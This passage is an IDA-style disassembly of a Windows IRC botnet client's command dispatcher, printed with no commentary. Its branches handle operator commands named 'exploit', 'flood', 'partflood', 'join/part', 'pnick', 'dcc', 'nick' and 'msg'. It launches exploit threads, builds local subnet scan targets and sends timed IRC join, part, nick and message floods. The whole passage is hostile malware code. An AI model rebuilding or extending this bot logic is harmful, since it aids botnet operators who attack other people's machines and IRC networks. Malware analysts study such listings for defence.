		lea	eax, [ebp+var_5A0]
		push	10h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_40485F
; ---------------------------------------------------------------------------

loc_404848:				; CODE XREF: sub_401CC7+2B6Bj
		cmp	[ebp+var_8FF], bl
		jz	short loc_404859
		lea	eax, [ebp+var_C0]
		push	eax
		jmp	short loc_404835
; ---------------------------------------------------------------------------

loc_404859:				; CODE XREF: sub_401CC7+2B87j
		mov	[ebp+var_5A0], bl

loc_40485F:				; CODE XREF: sub_401CC7+2B7Fj
		mov	eax, [ebp+var_4]
		push	[ebp+Format]	; Format
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h		; Count
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax		; Dest
		mov	[ebp+var_624], esi
		call	__snprintf
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AFA9
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_4413B4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	19h		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset sub_411C86
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_404910

loc_4048FA:				; CODE XREF: sub_401CC7+2C47j
		cmp	[ebp+var_57C], ebx
		jnz	loc_402166
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_4048FA
; ---------------------------------------------------------------------------

loc_404910:				; CODE XREF: sub_401CC7+2C31j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4413DC
		jmp	loc_409CCE
; ---------------------------------------------------------------------------

loc_404921:				; CODE XREF: sub_401CC7+FEDj
					; sub_401CC7+1002j
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_404941
		push	esi		; Str
		call	_atoi
		test	ax, ax
		pop	ecx
		jz	short loc_404941
		push	esi		; Str
		call	_atoi
		pop	ecx
		jmp	short loc_404947
; ---------------------------------------------------------------------------

loc_404941:				; CODE XREF: sub_401CC7+2C63j
					; sub_401CC7+2C6Fj
		mov	ax, word_440084

loc_404947:				; CODE XREF: sub_401CC7+2C78j
		push	[ebp+Format]	; Format
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h		; Count
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax		; Dest
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	__snprintf
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AFA9
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_441310 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	edi		; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	esi		; int
		call	sub_409D6C
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	6		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset sub_40EFAC
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_404A16

loc_404A00:				; CODE XREF: sub_401CC7+2D4Dj
		cmp	[ebp+var_968], ebx
		jnz	loc_402166
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_404A00
; ---------------------------------------------------------------------------

loc_404A16:				; CODE XREF: sub_401CC7+2D37j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44133C
		jmp	loc_409CCE
; ---------------------------------------------------------------------------

loc_404A27:				; CODE XREF: sub_401CC7+F99j
					; sub_401CC7+FAEj ...
		push	edi		; Str2
		push	offset aSecure_1 ; "secure"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404A4F
		push	edi		; Str2
		push	offset aSec_0	; "sec"
		call	_strcmp
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A59

loc_404A4F:				; CODE XREF: sub_401CC7+2D6Fj
		mov	[ebp+var_A10], 1

loc_404A59:				; CODE XREF: sub_401CC7+2D86j
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_A94]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_404AA0
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_404AA0:				; CODE XREF: sub_401CC7+2DD2j
		push	eax
		push	offset asc_4412A8 ; "-"
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	22h		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_41AD35
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_404B14

loc_404AFE:				; CODE XREF: sub_401CC7+2E4Bj
		cmp	[ebp+var_A04], ebx
		jnz	loc_408708
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_404AFE
; ---------------------------------------------------------------------------

loc_404B14:				; CODE XREF: sub_401CC7+2E35j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4412C4
		jmp	loc_4086F9
; ---------------------------------------------------------------------------

loc_404B25:				; CODE XREF: sub_401CC7+F6Fj
					; sub_401CC7+F84j
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_41B5CA

loc_404B36:				; CODE XREF: sub_401CC7+2AADj
					; sub_401CC7+2AC3j ...
		add	esp, 0Ch
		jmp	loc_409B47
; ---------------------------------------------------------------------------

loc_404B3E:				; CODE XREF: sub_401CC7+F45j
					; sub_401CC7+F5Aj
		push	offset unk_4411A4
		jmp	loc_40891F
; ---------------------------------------------------------------------------

loc_404B48:				; CODE XREF: sub_401CC7+F1Bj
					; sub_401CC7+F30j
		push	offset aH1d3	; "h1d3"
		push	offset dword_441184
		jmp	loc_407019
; ---------------------------------------------------------------------------

loc_404B57:				; CODE XREF: sub_401CC7+EF1j
					; sub_401CC7+F06j
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_404BB1
		push	esi		; Str
		call	_atoi
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404BA9
		cmp	eax, 3
		jge	short loc_404BA9
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_404BA1
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_4410E0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_4085D7
; ---------------------------------------------------------------------------

loc_404BA1:				; CODE XREF: sub_401CC7+2EB9j
		push	eax
		push	offset unk_441100
		jmp	short loc_404BEE
; ---------------------------------------------------------------------------

loc_404BA9:				; CODE XREF: sub_401CC7+2EA4j
					; sub_401CC7+2EA9j
		push	eax
		push	offset unk_44112C
		jmp	short loc_404BEE
; ---------------------------------------------------------------------------

loc_404BB1:				; CODE XREF: sub_401CC7+2E99j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_404BB6:				; CODE XREF: sub_401CC7+2F0Bj
		push	[ebp+var_90]	; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404BD9
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404BB6
		jmp	loc_4085D7
; ---------------------------------------------------------------------------

loc_404BD9:				; CODE XREF: sub_401CC7+2EFFj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset asc_441158 ; "-"

loc_404BEE:				; CODE XREF: sub_401CC7+2112j
					; sub_401CC7+2EE0j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		jmp	loc_4085D4
; ---------------------------------------------------------------------------

loc_404BFF:				; CODE XREF: sub_401CC7+EC7j
					; sub_401CC7+EDCj
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332_4	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40365A
		call	sub_40B957
		push	ebx
		call	ds:dword_4F636C	; ExitProcess

loc_404C25:				; CODE XREF: sub_401CC7+19CBj
		push	offset aGet_2	; "get"
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404CBC
		cmp	dword_4E7A18, ebx
		jz	short loc_404C51
		push	offset byte_4E73F8
		push	offset unk_4422C8
		jmp	loc_404CEC
; ---------------------------------------------------------------------------

loc_404C51:				; CODE XREF: sub_401CC7+2F79j
		push	10h
		pop	eax
		mov	[ebp+var_2D0], eax
		push	eax		; Size
		lea	eax, [ebp+var_2E8]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4F6580	; getsockname
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		push	offset unk_44230C
		jmp	short loc_404CEC
; ---------------------------------------------------------------------------

loc_404CBC:				; CODE XREF: sub_401CC7+2F6Dj
		push	edi
		call	dword_4E4260	; inet_addr
		cmp	eax, 0FFFFFFFFh
		push	edi		; Source
		jnz	short loc_404CD0
		push	offset unk_442344
		jmp	short loc_404CEC
; ---------------------------------------------------------------------------

loc_404CD0:				; CODE XREF: sub_401CC7+3000j
		push	offset byte_4E73F8 ; Dest
		call	_strcpy
		pop	ecx
		mov	dword_4E7A18, 1
		pop	ecx
		push	edi
		push	offset asc_442378 ; "-"

loc_404CEC:				; CODE XREF: sub_401CC7+2F85j
					; sub_401CC7+2FF3j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_4036B1
; ---------------------------------------------------------------------------

loc_404D00:				; CODE XREF: sub_401CC7+19B6j
		push	[ebp+arg_8]	; Str2
		push	offset aExploit	; "exploit"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404E06
		mov	eax, [ebp+var_4]
		mov	esi, 80h
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		push	offset aHelp	; "##help"
		lea	eax, [ebp+var_1474]
		push	esi		; Count
		push	eax		; Dest
		mov	[ebp+var_13EC],	1
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	offset aHelp	; "##help"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	edi		; Format
		push	10h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_4423AC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	8		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset sub_40BF39
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_404DF5

loc_404DDF:				; CODE XREF: sub_401CC7+312Cj
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_4085D7
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_404DDF
; ---------------------------------------------------------------------------

loc_404DF5:				; CODE XREF: sub_401CC7+3116j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4423DC
		jmp	loc_404BEE
; ---------------------------------------------------------------------------

loc_404E06:				; CODE XREF: sub_401CC7+304Aj
		push	[ebp+arg_8]	; Str2
		push	offset aReconnect_in ; "reconnect.in"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409AB7
		push	[ebp+arg_8]	; Str2
		push	offset aRin	; "rin"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409AB7
		push	[ebp+arg_8]	; Str2
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A73
		push	[ebp+arg_8]	; Str2
		push	offset aRinms	; "rinms"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A73
		push	[ebp+arg_8]	; Str2
		push	offset aFlood	; "flood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405A0C
		call	ds:dword_4F63B0	; GetTickCount
		push	eax		; Seed
		call	_srand
		push	edi		; Str2
		push	offset aLoad	; "load"
		call	_strcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404F0C
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404F0C
		push	[ebp+esi+var_80] ; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+esi+Str2]	; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+esi+Format] ; Source
		call	sub_41860A
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Str2]
		push	[ebp+esi+Format]
		push	[ebp+esi+var_80]
		push	offset asc_4424D4 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404F0C
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D6C
		add	esp, 14h

loc_404F0C:				; CODE XREF: sub_401CC7+31CEj
					; sub_401CC7+31D4j ...
		push	edi		; Str2
		push	offset aPm_1	; "pm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F76
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		jz	short loc_404F76
		push	offset asc_442504 ; " "
		push	offset a__7	; "_"
		push	eax		; Src
		call	sub_418C3F
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strcpy
		add	esp, 14h
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgSS ; "privmsg %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 14h

loc_404F76:				; CODE XREF: sub_401CC7+3254j
					; sub_401CC7+325Fj
		push	edi		; Str2
		push	offset aCt	; "ct"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE0
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		jz	short loc_404FE0
		push	offset asc_442520 ; " "
		push	offset a_	; "_"
		push	eax		; Src
		call	sub_418C3F
		push	eax		; Source
		lea	eax, [ebp+var_4BF0]
		push	eax		; Dest
		call	_strcpy
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgS ; "privmsg %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 14h

loc_404FE0:				; CODE XREF: sub_401CC7+32BEj
					; sub_401CC7+32C9j
		push	edi		; Str2
		push	offset aNt_1	; "nt"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40504A
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		jz	short loc_40504A
		push	offset asc_442540 ; " "
		push	offset a__8	; "_"
		push	eax		; Src
		call	sub_418C3F
		push	eax		; Source
		lea	eax, [ebp+var_46EC]
		push	eax		; Dest
		call	_strcpy
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 14h

loc_40504A:				; CODE XREF: sub_401CC7+3328j
					; sub_401CC7+3333j
		push	edi		; Str2
		push	offset aMode	; "mode"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4050B4
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		jz	short loc_4050B4
		push	offset asc_442560 ; " "
		push	offset a__0	; "_"
		push	eax		; Src
		call	sub_418C3F
		push	eax		; Source
		lea	eax, [ebp+var_4DF0]
		push	eax		; Dest
		call	_strcpy
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aModeSS	; "mode	%s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 14h

loc_4050B4:				; CODE XREF: sub_401CC7+3392j
					; sub_401CC7+339Dj
		push	edi		; Str2
		push	offset aJoin	; "join"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4050F1
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		jz	short loc_4050F1
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h

loc_4050F1:				; CODE XREF: sub_401CC7+33FCj
					; sub_401CC7+3407j
		push	edi		; Str2
		push	offset aPart_1	; "part"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40512E
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		jz	short loc_40512E
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aPartS	; "part	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h

loc_40512E:				; CODE XREF: sub_401CC7+3439j
					; sub_401CC7+3444j
		push	edi		; Str2
		push	offset aPartflood ; "partflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405170
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		jz	short loc_405170
		push	offset dword_43D41C
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aPartSS	; "part	%s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 14h

loc_405170:				; CODE XREF: sub_401CC7+3476j
					; sub_401CC7+3481j
		push	edi		; Str2
		push	offset aPnick	; "pnick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4051E7
		cmp	[ebp+esi+Format], ebx
		jz	short loc_4051E7
		call	ds:dword_4F63B0	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+Format]
		push	offset aSI	; "%s%i"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h

loc_4051E7:				; CODE XREF: sub_401CC7+34B8j
					; sub_401CC7+34C1j
		push	edi		; Str2
		push	offset aJoinPart ; "join/part"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40533E
		cmp	[ebp+esi+Format], ebx
		jz	loc_40533E
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aJoinS_0	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h
		lea	eax, [ebp+Dst]
		push	offset dword_43D41C
		push	[ebp+esi+Format]
		push	offset aPartSS_0 ; "part %s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	ds:dword_4F6380	; Sleep
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aJoinS_1	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	ds:dword_4F6380	; Sleep
		push	offset dword_43D41C
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPartSS_1 ; "part %s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aJoinS_2	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	ds:dword_4F6380	; Sleep
		push	offset dword_43D41C
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPartSS_2 ; "part %s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 14h

loc_40533E:				; CODE XREF: sub_401CC7+352Fj
					; sub_401CC7+353Cj
		push	edi		; Str2
		push	offset aDcc	; "dcc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4053D6
		cmp	[ebp+esi+Format], ebx
		jz	short loc_4053D6
		call	ds:dword_4F63B0	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+Dst]
		push	edx
		push	[ebp+esi+Format]
		push	offset aPrivmsgS_0 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 24h

loc_4053D6:				; CODE XREF: sub_401CC7+3686j
					; sub_401CC7+3693j
		push	edi		; Str2
		push	offset aNick_0	; "nick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054DE
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		jz	loc_4054DE
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aJoinS_3	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		lea	eax, [ebp+var_4BC]
		push	eax		; Dest
		call	sub_418688
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_1	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	ds:dword_4F6380	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax		; Dest
		call	sub_418688
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_2	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	ds:dword_4F6380	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax		; Dest
		call	sub_418688
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_3	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h

loc_4054DE:				; CODE XREF: sub_401CC7+371Ej
					; sub_401CC7+372Dj
		push	edi		; Str2
		push	offset aChgnick	; "chgnick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405523
		lea	eax, [ebp+var_1808]
		push	eax		; Dest
		call	sub_418688
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_4	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h

loc_405523:				; CODE XREF: sub_401CC7+3826j
		push	edi		; Str2
		push	offset aMsg	; "msg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405618
		cmp	[ebp+esi+Format], ebx
		jz	loc_405618
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aJoinS_4	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h
		lea	eax, [ebp+Dst]
		push	offset dword_43D420
		push	[ebp+esi+Format]
		push	offset aPrivmsgSS_0 ; "privmsg %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	ds:dword_4F6380	; Sleep
		push	offset dword_43D420
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgSS_1 ; "privmsg %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	ds:dword_4F6380	; Sleep
		push	offset dword_43D420
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgSS_2 ; "privmsg %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 14h

loc_405618:				; CODE XREF: sub_401CC7+386Bj
					; sub_401CC7+3878j
		push	edi		; Str2
		push	offset aNotice_2 ; "notice"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40570D
		cmp	[ebp+esi+Format], ebx
		jz	loc_40570D
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aJoinS_5	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 10h
		lea	eax, [ebp+Dst]
		push	offset dword_43D420
		push	[ebp+esi+Format]
		push	offset aNoticeSS_2 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418331
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	ds:dword_4F6380	; Sleep
